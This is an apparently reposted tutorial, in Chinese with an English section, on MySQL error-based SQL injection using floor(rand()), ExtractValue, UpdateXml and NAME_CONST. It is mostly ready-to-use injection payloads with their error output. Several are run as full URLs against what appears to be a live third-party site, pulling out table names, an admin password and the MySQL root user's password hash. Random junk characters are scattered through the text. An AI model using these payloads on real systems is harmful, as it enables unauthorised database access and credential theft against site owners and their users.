mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
) T) f( A2 a6 v- ^$ a首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
7 L4 M( E2 g% n( l$ Y0 }+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
' U9 S5 a+ N* o" gERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

2 w; g, R, Y3 M4 b, z- k4 l- [
& Y6 z) B3 p8 s5 b9 k! s2 R2 ~

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

" q& o2 T( I' ?. @. p" oErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

' F' a% J  m  c/ r* cErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
0 m1 h; {9 J# y: d, q, J- o

  Y+ |8 j( l5 E5 O- X, `相关信息
+ H* k1 k' k, ^8 t% j% s
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

' O. o- u, o: MCode:
8 o. ?9 m2 K& n0 G( P& pNAME_CONST(DATA, VALUE)
# l" I, h0 R7 D  t
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

% S+ M2 ]/ I' H  o5 y0 q/ oSELECT NAME_CONST('TEST', 1)

" n+ U! p& h1 V! d8 X5 C% \
) t# X( n/ F" H3 C# ?
+ ?3 f- W# l& X  N, Z|---------------|
- p9 Z  F( P5 h0 J5 H! {|     TEST      |
  ^, V$ e* a/ p|               |
7 M+ W3 q1 N/ y% n! S' {|---------------|
- U  w# w1 F( ~3 b|       1       |
2 L6 b; J4 Z; V, |: H|               |
|---------------|

" ~# T- F* W: i9 k0 O

3 l+ X4 c! b3 L/ h% U2 z2 L: j6 v! a+ e
) I7 f4 N% A& Lhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

0 `% b0 d2 j* w' o# ]Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
( `1 t3 H- D  a% N" _) C' f! i

0 ^6 W3 `) }4 q. h9 {( b
) j% V% q1 i9 w( E) J: F4 d" E; R
' I: y* |* Q. R7 O0 P7 T7 P4 x
, K6 q0 `) K; ?7 p2 b# YCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.

: k: U4 M/ W3 e, b  MMySQL 5.1.3 Server System Variables

# Q- W7 k8 D" V. sLet's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
, [) O8 t: `4 G1 {; H& X
" w$ Z+ H: Z( t$ G' {3 E' N. ~Erroruplicate column name '5.0.27-community-nt'





Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
7 A' P6 Z; z* ]
3 W4 {% z9 C, q/ qData Extraction

' @5 ~, }  X# p4 ^Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
5 p( c& K) v. M' p) Y4 N9 \

, u1 P: r2 o8 `5 A) |We should get a duplicate column 1 error...
6 R* j+ b# A3 ~
0 n9 ^( N  E6 j" ~% ?6 z# QCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
) [9 O" u  V0 C+ |
Erroruplicate column name '1
% O6 v- N% u/ l: H- S7 X6 E
# P: R4 E$ z2 S; y8 X

( ?5 H3 w! o6 h1 _& b/ k2 w* K

, l2 c2 D, f6 c: L. @
Now let's get the tables out this bitch..
) a& [# E/ d: P# T. c" G. D; _
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
) O" ]7 t- {( ~

2 F# C" T7 r, _/ x$ d  _Let's see if it works here, if it does, we can go on and finish the job.

+ }4 \3 o$ |3 t1 e% Z+ O% oCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
# T. S- U/ X2 ?

Erroruplicate column name 'com_admanage
, l' g2 D; \# {$ ^" m0 @' m! e9 b
* X; D( e5 @0 b, Y( T) g9 Y
) m  {0 \5 |7 M# W& z& }6 B
4 t- S! G% q3 w: M3 f) D
7 @. S7 e/ j. e2 U8 L

2 ~* \- y4 h. MNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

! m$ V1 w1 s& B8 R5 N# c& {Let's get the columns out of the user table..
# g% \! P5 {# h& p) a+ a
5 b6 s  u0 _' y' YCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


  t! P% ^3 H7 S8 @! r) iSo mine looks like this, and I get the duplicate column name 'Host'.

/ o* [3 ]0 o) A+ v" n- rCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
5 N$ d2 _4 w0 f3 h
! B* L7 ?$ p/ Y% qErroruplicate column name 'Host'
; r* R; J( j3 ^1 s
- H5 u* h& o& b2 d

! X9 h. r6 `. a3 E% a) r! q( s1 [
# T$ m% b0 h6 J1 f5 R9 ~1 U) w

Woot, time to finish this bitch off.
$ Q9 D( _: B# |2 |4 R& g
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


3 a+ s2 Z& t' Q7 s$ J  wSo mine looks like this...
- M' o3 S, f5 b. \$ _2 ?; V8 ]& t
Code:
$ W9 s  K. j0 Ghttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

$ e6 Y! O6 \/ \4 gErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

+ C9 _2 V+ O$ B1 f7 ~% x- \

$ s. N- w, q$ k9 a) O; O

  y, R* U6 q5 e" y
And there we have it, thanks for reading.
$ p4 {/ j( x/ _4 _0 {5 E/ v! A& B